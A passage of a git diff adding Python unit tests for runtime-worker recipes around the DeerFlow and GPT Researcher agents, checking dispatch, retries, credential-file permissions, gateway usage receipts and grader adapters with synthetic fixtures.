self.assertEqual(compose["services"]["nginx"]["user"], "101:101") + script = (RECIPE / "runtime/nginx-start.sh").read_text() + self.assertIn("/tmp/nginx.conf", script) + self.assertIn("/tmp/nginx.pid", script) + preflight = (RECIPE / "runtime/preflight.py").read_text() + self.assertIn("server_config.enabled", preflight) + + def test_round3_installed_entrypoints_have_their_local_dependencies(self): + renderer = module("deerflow_entrypoints", RECIPE / "recipe.py") + with tempfile.TemporaryDirectory() as tmp: + prefix = Path(tmp) + renderer.install_entrypoints(prefix) + for name in ("deerflow-run", "dispatch.py", "recipe.py", "defaults.json", "pins.json", "run-e2e.sh", "lifecycle.sh", "egress.conf.template"): + self.assertEqual((prefix / name).read_bytes(), (RECIPE / name).read_bytes()) + self.assertEqual((prefix / "deerflow-run").stat().st_mode & 0o777, 0o700) + + def test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files(self): + dispatch = module("deerflow_pat", RECIPE / "dispatch.py") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + token = root / "pat" + token.write_text("dfp_" + "a" * 40) + token.chmod(0o600) + class Response: + headers = {"X-Trace-Id":"private-trace"} + def __enter__(self): return self + def __exit__(self, *args): return False + def read(self, bound): return b'{"thread_id":"fixture"}' + class Opener: + def open(inner, request, timeout): + self.assertEqual(request.full_url, "http://127.0.0.1:3771/api/langgraph/threads") + self.assertEqual(request.get_header("Authorization"), "Bearer dfp_" + "a" * 40) + return Response() + with patch.dict("os.environ", {"DEERFLOW_PAT_FILE":str(token), "DEERFLOW_URL":"http://127.0.0.1:3771"}), \ + patch.object(dispatch, "REPO", root / "checkout"), \ + patch.object(dispatch, "build_opener", return_value=Opener()): + self.assertEqual(dispatch.api("POST", "/threads", {})[0], {"thread_id":"fixture"}) + token.chmod(0o644) + with self.assertRaises(ValueError): + dispatch.api("POST", "/threads", {}) + token.chmod(0o600) + with patch.dict("os.environ", {"DEERFLOW_URL":"http://example.com"}): + with self.assertRaises(ValueError): + dispatch.api("POST", "/threads", {}) + self.assertIsNone(dispatch.NoRedirect().redirect_request(None, None, 302, None, {}, "http://example.com")) + + def test_round3_dispatch_cli_accepts_prompt_after_options(self): + dispatch = module("deerflow_dispatch_cli", RECIPE / "dispatch.py") + with patch.object(sys, "argv", ["deerflow-run", "start", "--run-id", "frozen", "--arm", "control", "literal prompt"]), \ + patch.object(dispatch, "start", return_value=(0, {"result_path":"fixture"})) as start: + self.assertEqual(dispatch.main(), 0) + start.assert_called_once_with("frozen", "control", "literal prompt", "pro", "claude-code/workflow") + + def test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key(self): + dispatch = module("deerflow_dispatch_retry", RECIPE / "dispatch.py") + with tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + (state / "host.json").write_text("{}") + keys = [] + calls = 0 + def api(method, path, body=None, headers=None): + nonlocal calls + if path == "/threads": + return {"thread_id":"t"}, "trace" + keys.append(headers["Idempotency-Key"]) + calls += 1 + if calls == 1: + raise TimeoutError("response lost after native create") + return {"run_id":"r", "status":"pending"}, "trace" + with patch.object(dispatch, "STATE", state), patch.object(dispatch, "api", api), patch.object(dispatch, "require_server_arm"): + code, pointers = dispatch.start("retry", "control", "prompt", "pro", "child") + self.assertEqual(code, 3) + self.assertEqual(json.loads((state / "dispatch/retry/status.json").read_text())["status"], "pending") + self.assertEqual(dispatch.start("retry", "control", "prompt", "pro", "child")[0], 0) + self.assertEqual(len(keys), 2) + self.assertEqual(keys[0], keys[1]) + self.assertEqual(len((state / "dispatch.jsonl").read_text().splitlines()), 1) + + def test_round3_missing_host_setup_still_writes_status_and_result(self): + dispatch = module("deerflow_missing_setup", RECIPE / "dispatch.py") + supervisor = module("deerflow_missing_grader_setup", RECIPE / "e2e/evaluate.py") + with tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + with patch.object(dispatch, "STATE", state): + code, result = dispatch.start("missing", "control", "prompt", "pro", "child") + self.assertEqual(code, 2) + self.assertTrue((state / "dispatch/missing/status.json").is_file()) + self.assertEqual(json.loads((state / "dispatch/missing/result.json").read_text())["exit_code"], 2) + with patch.object(supervisor, "STATE", state), patch.object(supervisor.subprocess, "run") as native: + self.assertEqual(supervisor.evaluate("frozen", "missing", "control", 1), 2) + native.assert_not_called() + self.assertTrue((state / "runs/missing/status.json").is_file()) + + def test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized(self): + receipt = module("deerflow_duplicate_correlation", RECIPE / "e2e/receipt.py") + with tempfile.TemporaryDirectory() as tmp: + db = Path(tmp) / "duplicate.sqlite" + with closing(sqlite3.connect(db)) as conn, conn: + conn.execute("CREATE TABLE call_logs (timestamp, path, status, model, reasoning_effort_requested, reasoning_effort_upstream, tokens_in, tokens_cache_read, tokens_reasoning, correlation_id)") + conn.executemany("INSERT INTO call_logs VALUES (?,?,?,?,?,?,?,?,?,?)", [ + (1000,"/v1/responses",200,"gpt-6-astra-max","max","max",10,0,1,"duplicate"), + (1000,"/v1/responses",200,"gpt-6-astra-max","max","max",20,0,1,"duplicate")]) + found = receipt.gateway_observation(db, {"start_epoch":999,"end_epoch":1001,"model":"cx/gpt-6-astra-max"}, {"duplicate"}) + self.assertIsNone(found["usage_total"]) + self.assertFalse(found["evidence_complete"]) + dispatch = module("deerflow_counter_sanitization", RECIPE / "dispatch.py") + with tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + run = state / "dispatch/counters" + run.mkdir(parents=True) + dispatch.write(run / "status.json", {"arm":"control", "thread_id":"t", "run_id":"r"}) + with patch.object(dispatch, "STATE", state), patch.object(dispatch, "api", return_value=( + {"status":"success", "llm_call_count":"private-text", "total_tokens":-1}, "trace")): + code, result = dispatch.wait_run("counters", "control", 0, 1) + self.assertNotIn("private-text", json.dumps(result)) + self.assertIsNone(result["total_tokens"]) + + @unittest.skipUnless(importlib.util.find_spec("inspect_ai") and importlib.util.find_spec("inspect_evals"), + "pinned upstream grader unavailable; installation prohibited in builder") + def test_real_upstream_gaia_known_pass_and_fail_controls(self): + import importlib.metadata + from inspect_ai.model import ChatMessageUser, ModelName + from inspect_ai.scorer import CORRECT, INCORRECT, Target + from inspect_ai.solver import TaskState + from inspect_evals.gaia.scorer import gaia_scorer + self.assertEqual(importlib.metadata.version("inspect-evals"), "0.22.0") + self.assertEqual(importlib.metadata.version("inspect-ai"), "0.3.271") + adapter = module("deerflow_real_controls", RECIPE / "e2e/check.py") + + async def controls(): + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "events.jsonl" + for answer, expected in (("42", CORRECT), ("99", INCORRECT)): + path.write_text(json.dumps({"type": "values", "data": {"messages": [{"type": "ai", "content": answer}]}}) + + "\n" + json.dumps({"type": "end", "data": {}})) + state = TaskState(model=ModelName("mockllm/model"), sample_id="transport-control", epoch=1, + input="test input", messages=[ChatMessageUser(content="test input")]) + state.output.completion = adapter.read_completion(path) + score = await gaia_scorer()(state, Target("42")) + self.assertEqual(score.value, expected) + asyncio.run(controls()) + + def test_pins_and_script_boundaries(self): + pins = json.loads((RECIPE / "pins.json").read_text()) + self.assertEqual(pins["commit"], "345f08be00c8a9495079b732a39b46aa9af1584e") + self.assertRegex(pins["archive"]["sha256"], r"^[0-9a-f]{64}$") + for image in pins["images"].values(): + self.assertRegex(image, r"@sha256:[0-9a-f]{64}$") + for name in ("install.sh", "run-e2e.sh", "lifecycle.sh"): + body = (RECIPE / name).read_text() + self.assertIn("set -euo pipefail", body) + self.assertNotIn("sudo ", body) + for path in [*RECIPE.glob("*.template"), *RECIPE.glob("*.example"), *RECIPE.glob("*.sh"), *RECIPE.glob("runtime/*.py"), *RECIPE.glob("runtime/*.sh")]: + content = path.read_text() + self.assertNotIn("0.0.0.0", content, path.name) + self.assertNotRegex(content, r"(?:sk-[A-Za-z0-9]{20,}|ghp_[A-Za-z0-9]{20,})") + + def test_reviewable_recipe_and_empty_result_rejection(self): + for name in ( + "README.md", "install.sh", "config.yaml.template", + "extensions_config.json.template", "pins.json", "run-e2e.sh", + "e2e/check.py", "e2e/gaia.py", "e2e/task.md", "e2e/receipt.py", + ): + with self.subTest(file=name): + self.assertTrue((RECIPE / name).is_file(), name) + with tempfile.TemporaryDirectory() as tmp: + result = subprocess.run( + [sys.executable, str(RECIPE / "e2e/check.py"), tmp], + capture_output=True, text=True, check=False, + ) + self.assertEqual(result.returncode, 1, result.stderr) + self.assertEqual(json.loads(result.stdout)["transport_ok"], False) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_runtime_worker_gpt_researcher.py b/tests/test_runtime_worker_gpt_researcher.py new file mode 100644 index 000000000..45dc7805c --- /dev/null +++ b/tests/test_runtime_worker_gpt_researcher.py @@ -0,0 +1,876 @@ +"""Offline recipe contracts; not upstream or live-provider acceptance. + +Oracle: user runtime-worker brief (2026-09-27), and GPT Researcher v3.7.0 +config/variables/default.py, utils/llm.py, mcp/client.py. No framework install. +""" + +import json +import copy +import asyncio +from contextlib import asynccontextmanager +import hashlib +from contextlib import closing, nullcontext +import importlib.util +from pathlib import Path +import sqlite3 +import subprocess +import sys +import tempfile +import os +import time +import unittest +from types import SimpleNamespace +from unittest.mock import patch + + +ROOT = Path(__file__).resolve().parents[1] +RECIPE = ROOT / "blueprints/runtime-workers/gpt-researcher" + + +def load(name, path): + spec = importlib.util.spec_from_file_location(name, path) + module = importlib.util.module_from_spec(spec) + # These CLI recipes use sibling imports. Keep each fixture's native import + # environment isolated when all worker families share one unittest process. + with patch.dict(sys.modules), patch.object(sys, "path", [str(path.parent), *sys.path]): + for key, value in list(sys.modules.items()): + location = getattr(value, "__file__", None) + if location and Path(location).is_relative_to(ROOT / "blueprints/runtime-workers") \ + and not Path(location).is_relative_to(RECIPE): + del sys.modules[key] + spec.loader.exec_module(module) + return module + + +class RuntimeWorkerGPTResearcherTests(unittest.TestCase): + def test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report(self): + dispatch = load("gptr_dispatch", RECIPE / "dispatch.py") + import fcntl + for native_exit, report_ok, usage_ok, expected in ((0, True, True, 0), (7, False, False, 10), + (124, False, False, 30), (0, False, True, 30), + (0, True, False, 30)): + with self.subTest(native_exit=native_exit, expected=expected), tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + run = state / "runs/control" + run.mkdir(parents=True) + job = {"mode": "cli", "routes": dispatch.select_routes({}), "prefix": str(state / "prefix"), + "report_type": "research_report", "engines_db_verified": False} + (run / "job.json").write_text(json.dumps(job)) + def native(argv, *, cwd, env, stdout, stderr, **kwargs): + self.assertEqual(argv[:4], ["timeout", "--signal=TERM", "--kill-after=20s", "1800s"]) + self.assertEqual(env["HOME"], str(run / "home")) + self.assertNotIn("PRIVATE_API_KEY", env) + self.assertNotIn("PYTHONPATH", env) + self.assertEqual(len(kwargs.get("pass_fds", ())), 1) + if report_ok: + (run / "outputs").mkdir() + synthetic_id = "-".join("a" * n for n in (8, 4, 4, 4, 12)) + (run / "outputs/report.md").write_text('---\ntask_id: "' + synthetic_id + '"\nsources_count: 1\ntotal_cost_usd: 0.0\n---\nNative report\n') + stdout.write("Report written to 'outputs/report.md'\n") + return SimpleNamespace(returncode=native_exit) + usage = {"worker": {"status": "observed" if usage_ok else "unavailable", "rows": [{"status": 200}], + "effort": {"non_max_returned_reasoning": 0}}} + with patch.object(dispatch, "preflight"), patch.object(dispatch.subprocess, "run", side_effect=native), \ + patch.object(dispatch, "phase_usage", return_value=usage), \ + patch.dict(os.environ, {"PRIVATE_API_KEY": "synthetic", "PYTHONPATH": "untrusted"}): + result = dispatch.supervise(run) + self.assertEqual(result["exit_code"], expected) + self.assertEqual(json.loads((run / "dispatch-result.json").read_text()), result) + self.assertEqual(dispatch.poll(run), result) + self.assertTrue((run / "receipt.json").exists()) + with (state / "worker.lock").open("a") as lock: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + with patch.object(dispatch, "preflight") as check: + busy = dispatch.supervise(run) + self.assertEqual(busy["exit_code"], 75) + check.assert_not_called() + + def test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths(self): + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + env = {**os.environ, "GPTR_STATE_ROOT": str(root / "state"), "PYTHONDONTWRITEBYTECODE": "1"} + command = ["bash", str(RECIPE / "dispatch.sh"), "start", "--run-id", "bad-query", "--arm", "control"] + result = subprocess.run(command, env=env, capture_output=True, text=True) + self.assertEqual(result.returncode, 20) + parsed = json.loads(result.stdout) + self.assertEqual(parsed["exit_class"], "setup_failure") + self.assertTrue((root / "state" / parsed["result"]).is_file()) + self.assertTrue((root / "state" / parsed["receipt"]).is_file()) + syntax = subprocess.run(command + ["--unknown"], env=env, capture_output=True, text=True) + self.assertEqual(syntax.returncode, 20) + self.assertEqual(json.loads(syntax.stdout)["exit_class"], "setup_failure") + + def test_usage_does_not_call_partial_correlations_complete(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + with tempfile.TemporaryDirectory() as tmp: + db = Path(tmp) / "rows.sqlite" + with closing(sqlite3.connect(db)) as con: + con.execute("CREATE TABLE call_logs(timestamp,path,status,model,reasoning_effort_requested,reasoning_effort_upstream,tokens_in,tokens_cache_read,tokens_reasoning,correlation_id)") + con.execute("INSERT INTO call_logs VALUES('2026-09-27T00:00:01Z','/v1/responses',200,'gpt-6-astra-max',NULL,NULL,3,0,0,'one')") + con.commit() + result = receipt.gateway_rows(db, "2026-09-27T00:00:00Z", "2026-09-27T00:00:02Z", + "cx/gpt-6-astra-max", correlation_ids={"one", "delayed-or-missing"}) + self.assertEqual(result["status"], "incomplete") + self.assertEqual(result["missing_correlation_count"], 1) + + def test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + observed = {"status": "observed", "rows": [{"status": 503}], "effort": {"non_max_returned_reasoning": 0}} + self.assertFalse(receipt.gateway_evidence_complete(observed)) + observed["rows"][0]["status"] = 200 + self.assertTrue(receipt.gateway_evidence_complete(observed)) + observed["effort"]["non_max_returned_reasoning"] = 1 + self.assertFalse(receipt.gateway_evidence_complete(observed)) + before = {"status": "observed", "totalRequests": 2, "totalTokensSaved": 3} + after = {"status": "observed", "totalRequests": 3, "totalTokensSaved": 7} + delta = receipt.compression_delta(before, after) + self.assertEqual(delta["before"], before) + self.assertEqual(delta["after"], after) + self.assertEqual(receipt.compression_delta(after, before)["status"], "counter_reset") + + def test_e2e_persists_disjoint_phases_and_uses_dispatch_handle(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + runner = load("gptr_run", RECIPE / "e2e/run.py") + finally: + sys.path.pop(0) + async def native(args, output): + output.update(report="Report", framework_version="0.16.0") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + args = ["run.py", "--run-dir", tmp, "--prefix", tmp, "--host-file", str(root / "host.json"), + "--model", "sharedgw/gpt-6-astra-max", "--base-url", "http://127.0.0.1:20129/v1", + "--judge-model", "cx/gpt-6-astra-max"] + cwd = Path.cwd() + try: + with patch.object(sys, "argv", args), patch.object(runner, "run", side_effect=native), \ + patch.object(runner, "compression_snapshot", create=True, return_value={"status": "observed", "totalRequests": 0, "totalTokensSaved": 0}), \ + patch.object(runner.subprocess, "run", return_value=SimpleNamespace(returncode=0)): + self.assertEqual(runner.main(), 0) + finally: + os.chdir(cwd) + phases = json.loads((root / "phases.json").read_text()) + self.assertLessEqual(phases["worker_started"], phases["worker_ended"]) + self.assertLessEqual(phases["worker_ended"], phases["judge_started"]) + self.assertLessEqual(phases["judge_started"], phases["judge_ended"]) + execution = json.loads((root / "execution.json").read_text()) + self.assertEqual(execution["framework_version"], "0.16.0") + self.assertFalse((root / "receipt.json").exists()) # observer runs outside worker HOME + env = {**os.environ, "GPTR_STATE_ROOT": str(root / "state"), "GPTR_PREFIX": str(root / "absent"), + "GPTR_RUN_ID": "e2e-failure", "RUNTIME_WORKER_ARM": "engines-on", "PYTHONDONTWRITEBYTECODE": "1"} + result = subprocess.run(["bash", str(RECIPE / "run-e2e.sh")], env=env, capture_output=True, text=True) + self.assertEqual(result.returncode, 20, result.stderr) + self.assertEqual(json.loads(result.stdout)["receipt"], "runs/e2e-failure/receipt.json") + + def test_dispatch_start_wait_result_preserves_setup_failure_handle(self): + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + query = root / "query.txt" + query.write_text("Research public Python documentation") + env = {**os.environ, "GPTR_STATE_ROOT": str(root / "state"), "GPTR_PREFIX": str(root / "absent"), + "PYTHONDONTWRITEBYTECODE": "1"} + base = ["bash", str(RECIPE / "dispatch.sh")] + started = subprocess.run(base + ["start", "--run-id", "offline-setup", "--arm", "engines-on", "--query-file", str(query)], + env=env, capture_output=True, text=True) + self.assertEqual(started.returncode, 0, started.stderr) + handle = json.loads(started.stdout) + self.assertEqual(handle["result"], "runs/offline-setup/dispatch-result.json") + self.assertTrue((root / "state/runs/offline-setup/status.json").exists()) + waited = subprocess.run(base + ["wait", "--run-id", "offline-setup", "--timeout", "5"], + env=env, capture_output=True, text=True) + self.assertEqual(waited.returncode, 20, waited.stdout + waited.stderr) + result = json.loads(waited.stdout) + self.assertEqual(result["exit_class"], "setup_failure") + self.assertEqual(result["arm"], "engines-on") + self.assertEqual(result["receipt"], "runs/offline-setup/receipt.json") + fetched = subprocess.run(base + ["result", "--run-id", "offline-setup"], env=env, capture_output=True, text=True) + self.assertEqual(json.loads(fetched.stdout), result) + self.assertEqual(fetched.returncode, 20) + + def test_dispatch_result_classes_do_not_invent_a_quality_threshold(self): + dispatch = load("gptr_dispatch", RECIPE / "dispatch.py") + self.assertEqual(dispatch.classify(0, True, True), ("pass", 0)) + self.assertEqual(dispatch.classify(0, True, False), ("incomplete_evidence", 30)) + self.assertEqual(dispatch.classify(0, False, True), ("incomplete_evidence", 30)) + self.assertEqual(dispatch.classify(7, False, False), ("negative_verdict", 10)) + self.assertEqual(dispatch.classify(124, False, False), ("incomplete_evidence", 30)) + # Scalar DRB-II scores are not inputs to classification. + + def test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport(self): + cli = load("gptr_cli_runner", RECIPE / "cli_runner.py") + received = [] + async def native_main(args): + received.append(args) + @asynccontextmanager + async def clients(_self): + yield + import argparse + parser = argparse.ArgumentParser() + parser.add_argument("query") + parser.add_argument("--report_type") + parser.add_argument("--tone") + parser.add_argument("--no-pdf", action="store_true") + parser.add_argument("--no-docx", action="store_true") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + route = {"base_url": "http://127.0.0.1:20129/v1", "model": "sharedgw/gpt-6-astra-max"} + cwd = Path.cwd() + try: + with patch.object(cli.runpy, "run_path", return_value={"cli": parser, "main": native_main}) as run_path, \ + patch.object(cli.GatewayTransport, "worker_clients", clients), patch.dict(os.environ): + asyncio.run(cli.execute_cli(root, root, route, "A query", "research_report")) + self.assertEqual(os.environ["RETRIEVER"], "duckduckgo") + self.assertEqual(os.environ["ALLOW_PRIVATE_URLS"], "false") + self.assertEqual(run_path.call_args.kwargs["run_name"], "gptr_native_cli") + self.assertTrue(run_path.call_args.args[0].endswith("0957c301ed06c2a5857b834358c7227c739041d4/cli.py")) + finally: + os.chdir(cwd) + self.assertEqual(received[0].query, "A query") + self.assertTrue(received[0].no_pdf and received[0].no_docx) + cfg = json.loads((root / "config.json").read_text()) + self.assertEqual(cfg["MCP_SERVERS"], []) + self.assertEqual(cfg["LLM_KWARGS"]["reasoning_effort"], "max") + self.assertEqual(cfg["LLM_KWARGS"]["extra_body"]["reasoning"], {"effort": "max"}) + + def test_receipt_records_separate_entry_gateways_phases_and_header_names(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + calls = [] + def rows(database, started, ended, model, **kwargs): + calls.append((str(database), started, ended, model)) + return {"status": "observed", "rows": [], "effort": {"non_max_returned_reasoning": 0}} + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + (root / "result.json").write_text('{"report":"Report"}') + routes = {"arm": "engines-on", "worker": {"base_url": "http://127.0.0.1:20129/v1", "model": "sharedgw/gpt-6-astra-max"}, + "judge": {"base_url": "http://127.0.0.1:20128/v1", "model": "cx/gpt-6-astra-max"}} + phases = {"worker_started": "2026-09-27T00:00:00Z", "worker_ended": "2026-09-27T00:01:00Z", + "judge_started": "2026-09-27T00:01:01Z", "judge_ended": "2026-09-27T00:02:00Z"} + with patch.object(receipt, "gateway_rows", side_effect=rows): + result = receipt.write_receipt(root, phases["worker_started"], phases["judge_ended"], routes["worker"]["model"], + "0.16.0", routes=routes, phases=phases, engines_verified=True) + self.assertEqual(len(calls), 2) + self.assertTrue(calls[0][0].endswith("omniroute-fw/storage.sqlite")) + self.assertTrue(calls[1][0].endswith("omniroute/storage.sqlite")) + self.assertEqual(calls[0][1:3], (phases["worker_started"], phases["worker_ended"])) + self.assertEqual(calls[1][1:3], (phases["judge_started"], phases["judge_ended"])) + self.assertEqual(result["arm"], "engines-on") + self.assertIn("x-omniroute-compression", result["routes"]["worker"]["header_names"]) + self.assertNotIn("allow-lossy", json.dumps(result)) + self.assertNotIn("x-omniroute-compression", result["routes"]["judge"]["header_names"]) + + def test_gateway_captures_response_correlations_privately_for_worker_and_judge(self): + gateway = load("gptr_gateway", RECIPE / "gateway.py") + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "correlations.jsonl" + transport = gateway.GatewayTransport("worker", correlation_log=path) + response = SimpleNamespace(headers={"X-Correlation-Id": "private-correlation"}) + transport.response_hook(response) + asyncio.run(transport.async_response_hook(response)) + transport.grader_post(lambda *a, **k: response)(gateway.CHAT_URL, json={"model": "cx/gpt-6-astra-max"}) + events = [json.loads(line) for line in path.read_text().splitlines()] + self.assertEqual([e["correlation_id"] for e in events if e["event"] == "response"], + ["private-correlation"] * 3) + + def test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + db = root / "synthetic.sqlite" + with closing(sqlite3.connect(db)) as con: + con.execute("CREATE TABLE call_logs(timestamp TEXT,path TEXT,status INTEGER,model TEXT," + "reasoning_effort_requested TEXT,reasoning_effort_upstream TEXT,tokens_in INTEGER," + "tokens_cache_read INTEGER,tokens_reasoning INTEGER,correlation_id TEXT)") + for seconds, model, path, tokens, effort, correlation in ( + (1, "gpt-6-astra-max", "/v1/responses", 20, "max", "ours"), + (2, "gpt-6-astra-max", "/v1/responses", 0, None, "no-reasoning"), + (3, "gpt-6-astra-max", "/v1/responses", 5, "high", "other-caller"), + (4, "claude", "/v1/responses", 20, "max", "other-model"), + (5, "gpt-6-astra-max", "/secret", 20, "max", "other-path"), + (6, "gpt-6-astra-max", "/v1/chat/completions", 20, "max", "judge")): + con.execute("INSERT INTO call_logs VALUES(?,?,?,?,?,?,?,?,?,?)", + (f"2026-09-27T00:00:0{seconds}Z", path, 200, model, effort, effort, 100, 50, tokens, correlation)) + con.commit() + before = db.read_bytes() + rows = receipt.gateway_rows(db, "2026-09-27T00:00:00Z", "2026-09-27T00:00:06Z", + "sharedgw/gpt-6-astra-max", correlation_ids={"ours", "no-reasoning"}) + self.assertEqual(len(rows["rows"]), 2) + self.assertEqual(rows["effort"]["without_returned_reasoning"], 1) + self.assertEqual(rows["effort"]["non_max_returned_reasoning"], 0) + self.assertEqual(rows["attribution"], "correlation_id") + self.assertNotIn("correlation_id", rows["rows"][0]) + self.assertNotIn("ours", json.dumps(rows)) + fallback = receipt.gateway_rows(db, "2026-09-27T00:00:00Z", "2026-09-27T00:00:06Z", "sharedgw/gpt-6-astra-max") + self.assertEqual(len(fallback["rows"]), 3) + self.assertEqual(fallback["effort"]["non_max_returned_reasoning"], 1) + self.assertIn("time window", fallback["attribution"]) + self.assertEqual(before, db.read_bytes()) + self.assertEqual(receipt.gateway_database(root, "control", False), root / ".local/share/omniroute/storage.sqlite") + with self.assertRaises(ValueError): + receipt.gateway_database(root, "engines-on", False) + self.assertEqual(receipt.gateway_database(root, "engines-on", True), root / ".local/share/omniroute-fw/storage.sqlite") + self.assertEqual(receipt.compression_delta({"status": "observed", "totalRequests": 3, "totalTokensSaved": 8}, + {"status": "observed", "totalRequests": 5, "totalTokensSaved": 20})["delta"], + {"totalRequests": 2, "totalTokensSaved": 12}) + self.assertEqual(receipt.compression_delta({"status": "unavailable"}, {"status": "observed"})["status"], "unavailable") + + def test_read_grade_checks_native_csv_controls_and_artifact_bindings(self): + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + task = {"idx": 12, "content": {"task": "Control", "rubric": { + "info_recall": ["Fact"], "analysis": ["Analysis"], "presentation": ["Presentation"]}}} + pin = json.loads((RECIPE / "pins.json").read_text())["grader"]["commit"] + for score in (1, 0, -1): + with self.subTest(score=score), tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + row = {"model": "gptr", "idx": 12, "result": {"task": "Control", "scores": { + dim: {item: {"score": score, "reason": "Control", "evidence": ""} for item in items} + for dim, items in task["content"]["rubric"].items()}}} + (root / "drb-result.jsonl").write_text(json.dumps(row) + "\n") + (root / "report.md").write_text("Report") + (root / "result.json").write_text('{"report":"Report"}') + (root / "frozen-reports/gptr").mkdir(parents=True) + (root / "frozen-reports/gptr/idx-12.md").write_text("Report") + summary = {"commit": pin, "idx": 12, "judge_model": "cx/gpt-6-astra-max", + "raw_result_sha256": hashlib.sha256((root / "drb-result.jsonl").read_bytes()).hexdigest(), + "report_sha256": hashlib.sha256(b"Report").hexdigest(), "metric_artifacts": {}} + # Exact CSV layout: DRB-II@b38f360 aggregate_scores.py:249-289. + for suffix in ("inforecall", "analysis", "presentation", "total", "blocked"): + value = int(score == -1) if suffix == "blocked" else max(0, score) + path = root / f"scores_{suffix}.csv" + path.write_text(f"idx,language,theme,gptr,avg\n12,en,test,{value},{value}\navg,,,{value},{value}\n") + summary["metric_artifacts"][path.name] = hashlib.sha256(path.read_bytes()).hexdigest() + summary_path = root / "grade-summary.json" + summary_path.write_text(json.dumps(summary)) + with patch.object(grader, "load_task", return_value=(task, b"frozen")): + grade = grader.read_grade(root) + self.assertEqual(grade["metrics_from_upstream_csv"]["total"], max(0, score)) + self.assertEqual(grade["metrics_from_upstream_csv"]["blocked"], int(score == -1)) + path = root / "scores_total.csv" + original = path.read_bytes() + for cells in ("avg,,,0,0\n", "12,en,test,0,0\n13,en,test,0,0\n", "12,en,test,,0\n", + "12,en,test,nonsense,0\n", "12,en,test,nan,0\n", "12,en,test,inf,0\n"): + path.write_text("idx,language,theme,gptr,avg\n" + cells) + summary["metric_artifacts"][path.name] = hashlib.sha256(path.read_bytes()).hexdigest() + summary_path.write_text(json.dumps(summary)) + with self.subTest(cells=cells), self.assertRaises(ValueError): + grader.read_grade(root) + path.write_bytes(original) + with self.assertRaises(ValueError): + grader.read_grade(root) # changed CSV hash + summary["metric_artifacts"][path.name] = hashlib.sha256(original).hexdigest() + summary["report_sha256"] = "0" * 64 + summary_path.write_text(json.dumps(summary)) + with self.assertRaises(ValueError): + grader.read_grade(root) + + def test_judge_uses_documented_batch_budget_and_separate_session(self): + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + task = {"idx": 12, "prompt": "Prompt", "content": {"task": "Task", "rubric": { + "info_recall": ["Fact"], "analysis": ["Analysis"], "presentation": ["Presentation"]}}} + native_calls, sessions = [], [] + with tempfile.TemporaryDirectory() as tmp: + run_dir = Path(tmp) + (run_dir / "tasks-and-rubrics.jsonl").write_bytes(b"frozen\n") + (run_dir / "frozen-reports/gptr").mkdir(parents=True) + (run_dir / "frozen-reports/gptr/idx-12.md").write_text("Report") + (run_dir / "report.md").write_text("Report") + (run_dir / "config.json").write_text(json.dumps({"LLM_KWARGS": { + "default_headers": {"x-omniroute-session": "worker-session"}}})) + def native(path, **kwargs): + native_calls.append((sys.argv[:], dict(grader.os.environ))) + if path.endswith("run_evaluation.py"): + row = {"model": "gptr", "idx": 12, "result": {"task": "Task", "scores": { + dim: {item: {"score": 0, "reason": "Control", "evidence": ""} for item in items} + for dim, items in task["content"]["rubric"].items()}}} + (run_dir / "drb-result.jsonl").write_text(json.dumps(row) + "\n") + else: + for suffix in ("inforecall", "analysis", "presentation", "total", "blocked"): + (run_dir / f"scores_{suffix}.csv").write_text("idx,language,theme,gptr,avg\n12,en,test,0,0\navg,,,0,0\n") + original_transport = grader.GatewayTransport + def transport(session, **kwargs): + sessions.append(session) + return original_transport(session, **kwargs) + import os + cwd = Path.cwd() + try: + with patch.object(grader, "verified_source", return_value=run_dir), \ + patch.object(grader, "load_task", return_value=(task, b"frozen\n")), \ + patch.object(grader.runpy, "run_path", side_effect=native), \ + patch.object(grader, "GatewayTransport", side_effect=transport), \ + patch.dict(sys.modules, {"gpt_client": SimpleNamespace(requests=SimpleNamespace(post=lambda *a, **k: None))}), \ + patch.dict(os.environ), patch.object(sys, "argv", ["grader.py", "--prefix", tmp, + "--run-dir", tmp, "--model", "cx/gpt-6-astra-max"]): + self.assertEqual(grader.main(), 0) + finally: + os.chdir(cwd) + argv, env = native_calls[0] + self.assertEqual(env["OPENAI_MAX_OUTPUT_TOKENS"], "32768") + self.assertEqual(env["OPENAI_REASONING_EFFORT"], "max") + self.assertEqual(argv[argv.index("--chunk_size") + 1], "50") + self.assertEqual(argv[argv.index("--max_retries") + 1], "5") + self.assertNotEqual(sessions, ["worker-session"]) + + def 